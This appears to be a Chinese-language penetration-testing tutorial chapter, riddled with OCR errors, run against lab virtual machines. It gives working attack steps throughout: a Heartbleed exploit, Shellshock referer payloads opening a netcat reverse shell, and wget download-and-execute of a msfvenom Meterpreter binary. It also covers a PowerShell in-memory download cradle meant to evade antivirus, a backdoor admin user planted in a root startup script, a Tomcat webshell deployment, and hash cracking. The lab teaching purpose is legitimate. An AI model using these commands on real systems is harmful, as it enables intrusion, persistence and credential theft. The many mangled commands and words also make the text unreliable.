利用平台的漏洞

第7章-1_利用平台的漏洞

7.1 使用Exploit-DB利用Heartbleed 漏洞

Heartbleed 是2014 年发现的 OpenSSL库中的漏洞它允许攻击者从服务器读取部分内存,这些部分内存以明文形式包含客户端和服务器之间的通信中的一部分。cartblced 漏发布后,很多公共漏洞被曝光。Kalil.inux 的创建者,也主持 Exploit-DB (https://wwwexploit-db.com/),这是一个收集公开漏洞的网站,我们可以在那里找到 Heartbleed 漏洞的几种变体。

在本文中我们将使用 Kali中包的命来 KaliLinux 中 Exploit-DB的地本到我们需要的漏洞,最后我们将通过使用它从而在目标服务器中利用 Heartbleed。

环境准备

在这个章节,我们将使用易受攻击的虚拟机(https://sourceforgc.net/projccts/bwapp/fles/bee-box/),因为它的 OpenSSL 版本易受 IIcarthblced 的漏洞攻击(http://heartbleed.com/),Heartbleed 影响协议TLS 版本1.0和11的加通信并允许攻击者在服务器内存的一部分中提取包含未加密信息。

实战演练

易受攻击的靶机(蜜)虚拟机的IP 地址为192.168.135.133易受的服务在端口 8443 上运行。让我们首先确定服务器中的漏洞:

1.我们使用ssIsan机(上的TCP8443 如下面的图,我们会发现它很容易受到 Hcartblccd 的攻击:

   

2.通过利用 Hartbleed 我将从服中信息,然后续在其应用中进一些,如录bWAPP(https://192168.135.133:8443/bwapp/)以确保服务器内存中有一些数据。

3.现在要在Exploit-DB的本地副本中查漏洞请打开终端并键入 searchsploit heartbleed 命令结果显示在此处:

4我们将在列表中选择第一个。我们先查的内容并分析如使用它以及它的作用我们可以简单地使用 cat 命今来显示Python代码,如图所示

5.根据漏洞利用中的说明,我们应该将服务器地址作为第一个参数运行,然后使用-p 选项输入我们要测试的端口。因此,攻击命令应该是

Python /usr/share/exploitdb/platforms/multiple/remote/32764.py192.168.135.133 -p 8443

下一个屏幕截图显示了成功攻击的结果,我们能够找到用户名和密码:

原理剖析

Hcartbleed 是 0penSSL TLS 的缓冲区出读取漏洞,这意味看可以从内存中取比允许的数据更多的数据。通过利用此漏洞,攻击者可以以明文形式从 0penSSL 服务器内存中读取信息,这意味着我们无需解密甚至拦截客户端与服务器之间的任何通信。利用服务器和客户端交换的心跳消息,这些是客户端发送的短消息,由服务器应答以保持会话活动。在易受攻击的服务中,客户端可以声称发送大小为X 的消息,但发送较小量(Y)的字节。然后,服务器将以字节进行应,从存储接收到的心跳消息的存储空间相邻的存储空间中获取差值(X-Y)此内空间通常包含先前由其他客户端发送的请求(已解)。

一旦我们知道目标中易受此攻击,我们就会使用 earchsploit 它是安在 KaliLiux上的Exploit-DB本地副本的口,命令会在 cxpoit 的标题和述中找应的符并显示结果。

一旦我们了解了漏洞利用的工作原理并确定它是否可以安全使用,我们就会针对目标运行它并收集结果。在我们的示例中,我们能够从通过加密通道连接的客户端提取有效的用户名和密码。

拓展

在实时系统中我们使用它之前,检测漏洞利用的效果和影响非常重要。通常,Exploit-DB 中的漏洞利用是值得信赖的,即使它们经常需要一些调整才能在特定情况下工作,尽管有些时候可能不会按照他们的说法行事, 因此,我们需要检查源代码并在我们的实验中进行测试,然后才能在真实的测试中使用它们。

拓展

除了 Exploit-DB 之外,还有其他网站可以查找已知的漏洞: http://wwwseeurityfocus.com

http://wwwxssed.com/

Packet Storm.

Full Disclosure Mailing List

http://0daytoday/

7.2 通过利用Shellshock 执行命令

Shellshock(也叫 Bashdoor)是2014 年9月在 bash shell 中发现的一个 bug,它允许通过存储在环境变量值中的函数执行命令。

作为wweb渗透测试人员Shellshock与我们相关因为如果这些脚本使用系统环境变量开发人员有时会在 PHP 和CGI脚本中调用系统命(在CGI脚本中更为常见。)在此小节中我们将利用 bee-box虚拟机中的Shellshock 漏洞在服务器上获得命令执行。

实战演练

通过HTTP(http://192.168.135.129/bWAPP/)浏览到 bee-box,并登录开始这个练习

1.在下拉框中,选择 Shellshock 漏洞(CGI),点击 Hack:

在文本中,我们可以看到一些有趣的东西:当前用户:www-data。这可能意味着页面正在使用系统调用来获取用户名。这也给了我们一个攻击推荐人的暗示

2.后发生什么,使用 Burp Suite 记求并新加页面。让我们看看代理的历史:

我们可以看到有一个 iframe 调用 shell 脚本:/gi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。

3.我们关注这个提示,并尝试攻击 shellshock.sh。我们首先需要配置 BurpSuite 来拦截服务器响应。转到“代理”选项卡中的“选项”,并根选中带有文本截响应的复选框。

4.现在,设置BurpSuite 拦截并重新加载shellshockphp。

5.在Burp Suite中,单击Forward 直到看到get请求到/bWAPP/cgi-bin/shellshocksh。然后,将referer 替换为(){:;};echo“Vulnerable:”如下截图所示

6.再次单击 Forward,并再次在请求。然后我们需要从 shellshocksh 中获取响应。如下面的截图所示:

响应现在有一个新的标题参数称为 Vulmerable。这是因为它将 echo命的输出集成到我们提交的 HTML标头中,现在我们可以进一步执行更有趣的命令。

7.现在,尝试(){:;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")命令。如结果所示,命令的结果包含在响应头中:

8.在渗透测试中,能够在服务器上远程执行命令是一个巨大的优势,下一个自然步骤是获得远程 shell,这意味着我们可以通过直接连接发送更详细的命令。在 Kali Linux 中打开一个终端,用下面的命令建立监听网络端口: nc-vlp12345。o

9现在转到 BurpSuite代的历史记录,选择对 shellshocksh 的任请求。键单它,并将其发送到中repeater。

10.进入 repeater 后,将 referer 的值改为: (){:;};echo”Vulnerable:”S(/bin/sh -c"nc-e/bin/bash 192.168.56.10 12345")。在本例中,192.168.56.10 是我们 Kali 机器的地址。

11.单击 GO。我们检查我们的终端,可以看到连接已经建立,发出一些命令来检查我们是否有远程shell:

原理剖析

在前五个步骤中,我们发现对 shell 脚本有一个调用,并且,由于它应该由 shell 解释器运行,可能是 bash 或 bash 的一个有漏洞版本。为了验证这一点,我们执行了以下测试:0f:;; ccho"Vulncrable:"

第一部分,01:;;,是一个空函数定义,因为 bash 可以将函数存储为环境变量,这是漏洞的核心,因为解释器在函数结束后会继续解释(和执行)命令。这允许我们发布第二部分

echo“Vulnerable:”,这个命令会简单地返回我们输入。该漏洞发生在 web 服务器上,因为 CGI实现将的所有部分到环境变量,所以如果通过替换 referer 执行此攻击,也可以工作。一旦我们知道服务器是脆弱的,我们就会发出一个测试命令ifconfig,并设置一个反向shcll。

反向 shell 是一个远程 shell,它由服务器发起,以便客户机侦听连接,而不是像在绑定连接中那样等待客户机连接的服务器。

一旦我们有了服务器的 shell,我们就需要提权并获取帮助继续进行渗透测试所需的信息。

拓展

Shellshock 漏洞在全世界范围内影响了大量的服务器和设备,有多种方法可以利用它命令执行的例子有很多,例如,我们将移动设备连接到LAN,Metasploit Framework 包含一个模块,用于设置 DHCP 服务器,以便将命令注入到连接到它的客户机上,这在网络渗透测试中非常有用

(https://wwwrapid7.com/db/modules/auxiliary/server/dhclient bash env)

7.3利用metasploit 创建并反弹shell

当我们在服务器上获得一个命令执行的权限时会发现有些命令会受到种种拘束,所以我们下一步做的事情是需要将这个权限升级为交互式的 shell,并最终以管理员或系统权限运行该shcll在这个教程中,我们将学习如何用 metasploit 的 msfvenom来创建一个可执程,该程可以反弹出被控主机的连接,并生成一个高级 shell,以便进一步利用服务器。

实战演练

首先启动靶机和攻击机,然后执行下列步骤:

1.先我用 msfvenom成一个反弹 shell 将地改为的ip 地址

在kali中打开终端,输入:

msIvenom -p linux/x86/meterpreter/reverse_tcpLHOST=192.168.135.133 LPORT=4443 -[ elf> cute dolphin.bin

这将创建一个名为 cute dolphin.bin 的文件,这是一个linux 的反向连接 shell,它会使靶机连接到我们监听的端口上,而不是我们去连接靶机的端口。

2.下来我们需要创建听。打开 sfconsole,然后输入以下命令:

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse tcp

set lhost 192.168.56.10

set lport 4443

run

可以看到,payload,lhost,lport都是我们创建 bin 文件的参数,这是指程序要连接的ip 和端口我们按下面的来配置:

3一备,我们开。在启动pache 服务

service apache2 start

4.然后将恶意文件移动到 web 服务器路径下:cp cute_dolphin.bin /var/www/html/

5我们知道bec-box 有一个远程命执行的漏洞,我们来利用一下它

() ::}; echo”Vulnerable:” $(/bin/sh-c”/usr/bin/wgethttp://192.168.56.10/cutedolphin

接着我们还需要构造执行下载文件权限的语句:

chmod +x /tmp/cute dolphin.bin

然后查看是否下载成功:

ls -l /tmp/cute_dolphin.bin

如下面图所示,已经成功的利用了漏洞并下载了恶意文件:

() { :;}; echo "Vulnerable:" $(/bin/sh -c "/usr/bin/wget http://192.168.135.128/cute_dolphin.bin -O /tmp/cute_dolphin.bin; chmod +x /tmp/cute_dolphin.bin; ls -l /tmp/cute_dolphin.bin")

6.接着再次利用命令执行运行该恶意文件:

() { :;}; echo "Vulnerable:" $("/tmp/cute_dolphin.bin")

7.如果一切正常,metasploit 听器就会收到一个连接请求:

8.成功反shell 后,我们可以输入 help 看 meterpreter 的功能,并执行应

原理剖析

msfvenom可以帮助我们从大量的 metaploit 有效负中建需要的负并到许多语言的源代码中,或者像刚刚做的那样创建可执行文件

这里使用的 payload (linux/x86/meterpreter/reverse_tcp),要连接回的主机和端口 (Ihost,lport)以及输出格式(-fclf)都会整合到 cute_dolphin.bin中。

Metasploit的exploit/multi/handler 模块是一个有效负处理程序它只处理在受损主机中执行的有效负载连接。在这个例子中,我们使用它建立了一个反弹侦听序 Meterpreter 是 metasploit 的后渗透利用工具。尽管 linux 下的功能相比 windows 更有限,但是也可以被利用来探网络,提权和密码获取。我们还可以利用它作为一个跳板机访问受害者的网络,进行横向内网渗透。

7.4Linux上的权限提升

对于某些渗透测试项目,在利用和展示漏洞影响方面获得 Web shell 可能就足够了。在其他一些情况下,我们可能需要进行提权,做进一步的内网渗透。

在关于权限提升的第一个案例中,我们将利用上一节中的方法,我们上传反向 shell 到我们的攻击机器,并执行。然后使用 Kali Linux 中包含的工具获取服务器上的管理权限。

实战演练

实验两种方案,利用 Shellshock 执行命令以及使用Metasploit 创建和捕反 shell。实验开始

我们在受感染的服务器上运行了一个 meterpreter shell 更具体地说,是具有 IP

192.168.56.12 beebox。让我们从找到升级权限的方法开始:

1.KaliLinux 包含一个名为 unix-privesc-check 的工具,它会检查系统是否存在可能允许我们升级权限的配置漏洞。从 meterpretershell,我们可以使用 upload 命将其上传到服务器。在meterpreter 会话中,发出upload /usr /bin /unix-privesc-check/tmp/命令。

2.上传文件后,打开系统 shell(使用 meterpreter 中的 shell 命)并使用/tmp /unix-privesc-checkstandard 运行脚本。以下屏截图显示了该过程:

3.该脚本将显示一长结果,但我们对开头显示 WARNING 的那个感兴。 在下面的屏幕截图中,我们可以看到有一个脚本(/etc/init.d/bwapp_movie_search)在启动时由root运行每个人都可以写入它(设置了Worldwrite) :

4.我们使用该文使 ro 用户在启动。建个管限的用户,以便我们可以通过 SSH 连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。在系统shell中,运行cat/etc/group|sort-u命令。将看到有一些有趣的名称,例如 adm,admin 和root。

5.由于我们没有完整的shell,我们无法打开文本编器将命添加到目标文件中,因此我们需要使用echo将它们逐行附加到文件中:

echo “/usr/sbin/useradd hacker -m -s /bin/bash -g amdin -Groot,adm” >> /etc/init.d/bwapp_movie_search

echo “echo hacker:MyPassword | chpasswd”

>> /etc/init.d/bwapp_movie_search

6.要验证命令是否已正确引入,请使用 tail。它将显示文件的最后几行 :tail/etc/init.d/bwapp_movie search。在屏幕截图中,我们可以看到它应该是什么样子:

7.由于此服务器是我们测试实验室的一部分,我们可以重新启动它。在实际情况中,攻击者可能会尝试攻击以使服务器重新启动,或者 DoS 会强制管理员重新启动它。

8.重新启动服务器后,在KaliLinux 中使用ssh登录sshhacker@192.168.5612,然后使用在步骤5中设置的密码。如果询问是否接受主机证书,请键入 yes 并按 Enter 键。9.如果一切正常,将能够登录。以下屏幕截图显示用户具有对所有命令的  oot 访问权限因为它们属于组admin (sudo-l)并且可以模拟root 用户(sudosu):

原理剖析

在本文中,我们使用现有的 meterpretershell 将脚本上到受感染的服务器。unix-privesccheck 是一个 shell 脚本,它自动查找系统中的某些配置,特征和参数,这些配置,特性和参数可能允许受限用户访问未授权的资源,例如属于其他用户或程序的文件。在更高权限配置文件下运行。我们使用标准参数运行 unix-privesc-check,它只进行一组基本测试,还有一个详细的选项,需要更长的时间,但也会进行更深入的分析,并可以给我们更多的升级备选方案。

在分析了 unix-privesc-heck 的结果后,我们决定修改在启动时以高权限运行的脚本,并向其添加两个命令。第一个是创建属于 admin,adm和root 组的用户另个是为这样的用户设置密码。 要将这些命令添加到文件中,我们使用了 echo 命令和输出重定向操作符(>),因为我们的有限 shell 不允许我们打开文本编器并直接编该文件。然后我们重新启动了虚拟

当机器重新启动时,我们使用我们设置的用户通过 SSI 接到它,并验证它是否具有 rot权限。删除我们添加到/ec/init.d/bwapp_movie search 脚本中的行也是一个好主意,以避免触发进一步的警报。

拓展

我们决定使用在启动时使用 root 限执行的文件的修改作为获取管理访问权限的方式还有其他选项可能不需要攻击者等待服务器重新启动,尽管更改启动脚本可能是一种保留持久访问的方法,特别是如果这些更改是在脚本中的模糊功能中完成的,这些功能很少被 管理员和开发者。尝试升级基于 Unix 的系统中的权限时要查找的其他常见方面如下:

SUID位:当在程序或脚本的属性中设置此位时,此类程序将在所有者用户的权限下执行而不是在执行它的用户的权限下执行。例如,如可执行文件属于 root 用户(所有者是我们对文件执行 1s -1时显示的名字)并且用户 www-data 行,则系统将该视为 root 行。 因此,如果我们找到这样的文件并设法更改它打开或使用的文件,我们就可以获得 root执行权。

PATH和其他环境变量:当程序调用其他程序或读取系统文件时,需要在系统中指定它们的名称和位置,有时这些程序只指定名称和相对路径。而且,操作系统有一些优先级标准,关于在未指定绝对路径时首先查看的位置  如,首先查看当前文件夹,程序位置或 PATH环境变量中指定的位置。这两个条件为攻击者添加恶意文件打开了大门,该恶意文件的名称与特权程序所需的名称相同,位于将要查看的位置由操作系统在文件的实际位置之前,强制易受攻击的程序处理攻击者文件的内容而不是合法的文件。

对已知漏洞的利用:在实际组织中,基于 Unix 的系统通常是最不经常修补和更新的。这为攻击者和渗透测试人员提供了寻找公开可用漏洞的机会,这些攻击将使他们能够利用过时软件中存在的漏洞。

第7章-2_利用平台的漏洞

7.5Windows提权

根据我以往的渗透测试经验来看,有 60%以上的服务器都是搭建在 windows 服务器之上的并且使用SQLServer 作为数据库,所以作为渗透测试者的我们,更应该握 Windows服务器的相关知识,而提权,就是其中之一。

在本章节,我们将从Windows 服务器上的一个有限的 WebShell作为切入点利用公开漏洞来获得system级别的访问权限,当然,sstem是windows系统的最高级别权限,在该权限下你可以运行所有的可执行命令。

准备

在这个章节中,我们假设获得了运行在windows 2008R2服务器上的网站的WebShell(https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx),当然这个WebShell 是被限制了执行权限的。

Windows2008R2可以在(https://www,microsoftcom/en-us/download/detailsaspx?id=2227)这里下载到。你需要自己添加 We 服务器管理员角色并将它配置为支持ASPNET,管理员色添加好了,在命令框中执行:

C:Windows\MicrosoftNETFramework64)v4.0.3031aspnet regiis -I 命令

实战演练

首先我们需要自己手动上传 webshell 到自己得服务器上,本例是在192.168.56.14/cmdaspx。上传成后们第做的就是看前用户的级别:

1.打开浏览器访问 WebShell,并执行 whoami命令,如下图:

如上图,我们的当前用户是 defaultapppool,它是 iisapppool组的成员。并且这个成员的执行权限是很小的。

2使msfvenom创建一个反向连接,我们将通过powerShell在目标的内存中运行一些指令,这样是为了防止触发目标服务器上的杀毒软件(只有接触到硬盘操作的时候才会被杀软所重视),所以我们的脚本类型一定要是 Powershell 支持的脚本类型,参数是-fpsh,并且要将该payload保存在下来,使用-0/var/www/html/cutedolphin.ps1,如下图:

3创建完payload后,打开Kali服务器,使用命令service apache2 start

4.还需要创建一个 handler 来监听会话的连接,首先在命令行中执行 msfconsole打开metasploit,然后再执行下列命令:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.135.128

set lport 4443

5.Handler 的配置如下图所示,仔检查每一项,确认无误后使用 run 命令运行:

6.Handler 运行后就会处于监听状态,等待目标的链接,所以此时我们需要在目标上执行 payload 来接入 handler,如下图,将 Program 设置为 powershell.exe,Arguments 设置为

-noexit -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.135.128/cutedolphin.ps1'))

然后点击 Run 运行它

7.如果 payload 正确地执行了,那么 handler 就会接入一个连接,如下图:

8当meterpreter 连接上目标主机时,我们可以尝试使用getsystem命令来提权,如果可以的话便会直接获取到system权限,如果失败的话,正如下图所示,我们使用getsystem

并没有成功,还使用了 hashdump 依然失败了,所以我们只能使用 sysinfo 命取系统相关信息,另辟蹊径。

9使用 background 命令将当前会话挂起到后台运行;

10使用 searchsploit 命查可用于2008R2的块,其中有一个是用来进行本地权限提升的,但是我们使用它后发现并不起作用,这是因为服务器已经打了补丁的缘故:

11是我们知道在Exploit-DB 据中可用于2008R2的不是上图的那6我们使用 grep 命令,查找更多的有关块,如下图,我们找到了更多:

12.现在我们可以根据自己服务的配置选择一个可利用的模块,一看是有点让人头大,在这里我们可以使用 head 命令来查看每个候选程序的第一行,比如,如下图,我们可以查看编号为40410的漏洞的前 20行信息,可以发现它利用了一个名为 Zortam Mp3

Media Studio 的软件,但是我们很熟悉我们的服务器中并没有安装该软件,所以我们将它排除,看看别的:

13我们继续寻找着,知道我们发现了编号为 35101的模块它用windows的内部组件来进行提权,它属于 metasploit 的模块之一,所以我们可以将它应用在我们刚才挂起的会话中,模块关键信息如下:

14打开msfconsole 并且使用search 命令查TrackPopupMenu,它是模块的名字这一点你可以在上图红色横线的地方看到,我们要找的是 2014 年的,如下图:

15.模块的配置信息如下:

配置完成后应该是这样的:

16运行漏洞就会发现它会在我们挂起的 session1中生效。

17.在新生成的会话中,我们可以使用 getuid 命来查看当前用户信息,也可以使用hashdump命令列出用户的hash 密码,还可以加载metasploit 模块如mimikatz并进一步执行 kerberoswdigest,tspkg 命令来破解登录用户的密码。

原理剖析

我们在获取到主机的webshell后继续上传更高级的webshell来尝试提权

首先我们使用msfvenom精心构造了一个powershell类型的payload 反向连接,并使用handler 来监听它,windows 服务器上的 powershell会调用 WebClient 对象和DownloadString函数来下载并执行payload,由于远程文件直接通过IEX在内存中执行了,并没有存储到硬盘中,可以躲过大多数杀软。

获取到目标主机的shell后我们尝试使用命 getsystem命快速提权,然而没有起作用,所以我们只好在 Explot-DB 数据中查找其他的可用的模块,该模块可直接用于metasploit中,只需要加载它并未它设置反向连接的IP 和端口即可,它便会利用我们已经获得到的session会话尝试执行提权操作,一旦成功,就会返回新的shell。

拓展

Pentestmonkey含有一个有趣的程序,它可以评估出当前windows中可能存在的被提权的漏洞,这个程序叫做windows-privesc-check.exe(https://github.com/pentestmonkey/windows-privesc-check/)如下图所示,是它的一些基本用法的展示:

它可以把结果以不同的格式保存下来,如HTML、XML和txt格式,HTML格式的结果信息如下:

另一个非常有趣的程序是Empire(https://github.com/EmpireProject/Empire),Empire包含多个操作系统的模块,可用于持久化访问,提权,侦察,横向渗透,数据过滤甚至是恶意攻击等目的,但是它并不包在 Kali 中,你可以在上述地址上下使用它,下图是它的界面示例:

7.6使用Tomcat管理界面执行代码

在第四章中,测试认证及会话管理时,我们获取到了 Tomcat 管理员的认证,并且当时也提到了这可能会让我们在服务器上执行一些代码。在这小节中,我们将使用认证登录到管理页面,然后上传一个新的程序,以便允许我们在服务器上执行一些命令。

实战演练

在这小节中,我们将使用 OWASP BWA 机器的VM 1,从Tmcat 的登录认证的地方开始:

1.浏览器打开 http://192.168.56.11:8080/manager/html,使用 root作为登录名,密码是 owaspbwa:

2一旦进入到管理页面,我们要寻找 WAR 文部的部分,然后点击览按

3.Kali在/usr/share/laudanum/下面收集了很多 webshell。

浏览到/usr/share/laudanum/jsp/cmd.war文件并选择它:

4等待一小会加载的时间,然后点击部署(Deploy)

5.认证过后,你将有一个新的程序并被叫做 cmd,如图:

6.让我们尝试去浏览它,http://192.168.56.11:8080/cmd/cmd.jsp

7.如果操作一切都是正确的,你将会看到一个文本框和一个 send 按。这个文本框上你可以尝试输入一些命令并且点击 send 去执行,例如输入:ipconfig

8.在我们可以执了,是现在我们有哪些用户,以及自别呢?尝试入whoami命今来了解下:

我们可以看到 Tomcat 在这个服务器上使用的是 ROOT 特权用户。这就意味着我们在这个平台上有全部的控制权,例如:增加或删除用户,安装软件,配置系统参数等等。

原理剖析

一旦我们获取到了 Tomcat 管理界面的认证,这个攻击流程就是非常简单的了。我们只需将一个对我们有极大用处的软件上传就好了。Kali下面默认包含了很多收集来的不同语言的WEBshell,针对不同类型的服务器,如:PHP,ASP,ASPNET和JSP。

Tomcat 可以将把一个带有 JAVAweb 软件包打包在 WAR 的文件部署在这个服务器上。我们使用 Tomcat 这个功能将 webshll 文件上传到服务器上去,就可以执行系统命令,并且可以发现在这台服务其中有 root 权限,而且并没有正确的配置这台服务器以及运行着root用户。

7.7通过John the Ripper 使用字典来破解密码哈希值

在前几个章节中,我们在数据库中发现了密码的哈希值,在渗透测试中,通过解密哈希值来获取密码是再常见不过的,但是哈希是通过不可逆算法生成的,所以是没有可以直接破解的办法的,我们只能通过字典来爆破。

在这个章节中,我们将会使用 Jhn the Ripper(JTR 者 Jhn)它是受的码破解工具。

准备

正如主题所说我们需要一个用来破解密码的字典,这个字典由可能的密码或者某些特殊词组成,KaliLinux在/user/share/wordlists/目录下包含了几个字典。在本小节中我们将使用 RockYou 这个字并且它的默认格式是 GZIP。,

要解压 RockYou 字典,需要使用 cd 命令切换到它所在的目录下,命令:

cd /user/share/wordlists/,然后使用gunzip 命令来解压它,命令:

gunzip rockyoutxt.gz,如下图所示:

实战演练

1要按照特定的格式设置可能的用户名码创建一个为 hashes 67.txt的txt文本文件每行一个用户名和密码,并且用户名和密码以冒号隔开

2.当你完成1的步后,就可以开始了,命令:

jogn --wordlist=/user/share/wordlists/rockyou.txt --format=raw-md5 hashes 6 7.txt

3.Jo 工具可定型极高,你可以自行制定应的规则,文件后,字符,大小写等,命令

john --wordlist=/user/share/wordlists/rockyoutxt --format=raw-md5hashes 6 7txt –rules

原理剖析

.John 的工作原理是将字典中的可能的密码进行列后将它与要破解的散列进行比较,如果一旦匹配,那么就代表字典散列前的值就是密码的值。

第一个-wordlist选项告诉John 使用哪个字典,如忽略它,John 会生成自己的字典列表来尝试破解,--format 选项告诉 Joh 使用种法来生成哈散列,如该参指定,那么John 会尝试使用可能的算法来生成散列,然后我们加入的选项是我们要破解的含有哈希的文本文件。

最后,我们加入一rules 选项来提高破解密码成功的几率,它能够对单词进行常见的修改以满足人们在日常生活中对密码的混淆定义,就拿 password 来说,John会在--rules 选项对它尝试进行一下的

Password

PASSWORD

Password123

PaSSw0rd

7.8使用Hashcat暴力破解密码哈希

近年来,显卡的发展已经发生了巨大的变化, 他们现在包含的芯片内部有数百或数千个处理器,所有处理器并行工作。 当其应用于密码破解时,这意味着如果单个处理器可以在一秒钟内计算10000个哈值,一个拥有 1,00个核心的GPU可以达到1000万个这味将解时间短1000倍或更多。在这一章节中,我们将使用 Hashcat 暴力破解哈希。是当你在具有 Nvidia 或ATI片组的计算机上安装 Kalilimux作为基本系统时,此功能才有效。如果你在虚拟机上安装了 KaiLinux,则GPU破解可能不起作用,但你可以在主机上安装 Hashcat。有 Windows 和 Linux版本(https://hashcat.nct/hashcat/)

准备

需要确保正确安装了图形驱动程序并且保证 Hashcat 与它们兼容,因此需要执行以下操作:

1.独立运行 Hashcat,它会告诉你是否有问题;hashcat

2在基准模式hashcat--benchmark中测试它支持的每个算法的散列率

3根据安装可能需要强制 Hashcat 使用特定显卡:

hasheat --benchmark -force

实战演练

我们将使用上一个章节中的哈希文件;

1.首先让我们破解一个哈希值。拿管理员的哈希:

hashcat -m 0-a 321232f297a57a5a743894a0e4a801fc3

结果应该很快出现:

正如所看到的,我们可以直接从命令行设置哈希,并且它将在不到一秒的时间内被破解

2.现在,要破解整个文件,我们需要从中除用户名并只下哈希值,如下所示:

3.要解文件中的哈值我需上一个命的哈:hashcat-m 0-a3hashes only_6_7txt 在下面的图中看到的使用的GPUHashcat 可以盖一到个字符的所有可能组合(以每6.885万个哈的只 10分钟试82个多小时。这对暴力破解来说似乎相当不错:

原理剖析

我们在此章节中用于运行 Hashcat 的参数是用于定义要使用的列算法的参数:-m告使用MD5来列它生成单。-a3用试色组合,直到我们破解出来密码。 最后,我们在第一种情况下添加了我们想要破解的哈希,在第二种情况下添加了包含哈希集合的文件。

Hashcat还可以使用字典文件并创建混合攻击 (Brute Force plus 字典)来定要测试的符集并将结果保存到指定文件(它将它们保存到/usr/share/oclhashcat/Hashcat.pot)。它还可以将规则应用于单词并使用统计模型(马尔可夫)来提高破解效率。 要看其选,请使用--hep 选,例如所示;oclhashcat --help。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值